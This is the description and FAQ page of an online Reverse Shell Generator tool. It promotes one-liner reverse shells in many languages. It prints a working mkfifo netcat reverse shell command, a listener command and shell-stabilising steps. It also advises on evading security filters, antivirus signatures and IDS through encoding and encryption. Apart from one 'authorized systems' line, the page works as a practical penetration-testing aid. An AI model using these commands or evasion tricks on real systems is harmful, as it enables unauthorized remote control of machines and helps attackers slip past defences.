What does this tool do?
Reverse Shell Generator builds ready-to-run one-liner reverse shells for bash, sh, netcat, Python, PHP, Perl, Ruby, Node.js, PowerShell and more — just enter your listener IP and port. With Base64 and URL encoding, a correct PowerShell -EncodedCommand output and built-in bypass tips, it's a complete swiss-army knife. Everything runs in your browser.
How to use it
- Enter your listener IP and port.
- Pick the command or payload that fits your setup.
- Copy it and use it only on systems you are authorized to test.
What it solves
When you can execute a command on a target (RCE, restricted shell, file upload), a reverse shell makes the target connect back to your machine. This tool gives you tested one-liners across dozens of languages with placeholders — fill in LHOST/LPORT and copy the one that fits the target. First start a listener on your box with 'rlwrap nc -lvnp 4444'.
Encoding and bypass
Base64 mode wraps the command in 'echo ... | base64 -d | bash' to defeat character filters; the PowerShell UTF-16LE -enc output breaks AV string signatures. URL mode percent-encodes for web payloads. The ${IFS} variant bypasses space filters, and ncat --ssl / openssl options add IDS-evading encryption. TTY-upgrade tips for stabilising the shell are included.
Frequently asked questions
My caught shell is broken / Ctrl+C kills it — what do I do?
After catching a dumb shell, upgrade to a PTY with 'python3 -c "import pty;pty.spawn(\'/bin/bash\')"', then background it with Ctrl+Z, run 'stty raw -echo; fg' and 'export TERM=xterm'. Arrow keys, tab-completion and Ctrl+C now work correctly.
nc -e doesn't work?
Many modern netcat builds ship without the -e flag for security. Use the mkfifo variant instead: 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc LHOST LPORT >/tmp/f'.
Is Reverse Shell Generator free?
Yes. Reverse Shell Generator and all 300+ tools on MagmaNex are completely free with no signup or account required.
Is my data safe?
Yes. Everything runs locally in your browser. The data you enter is never sent to a server, stored, or shared.
Does it work on mobile?
Yes. Reverse Shell Generator works on phones, tablets and desktops — no app download needed.
🔒 Privacy: everything runs in your browser, your data is never sent to a server.
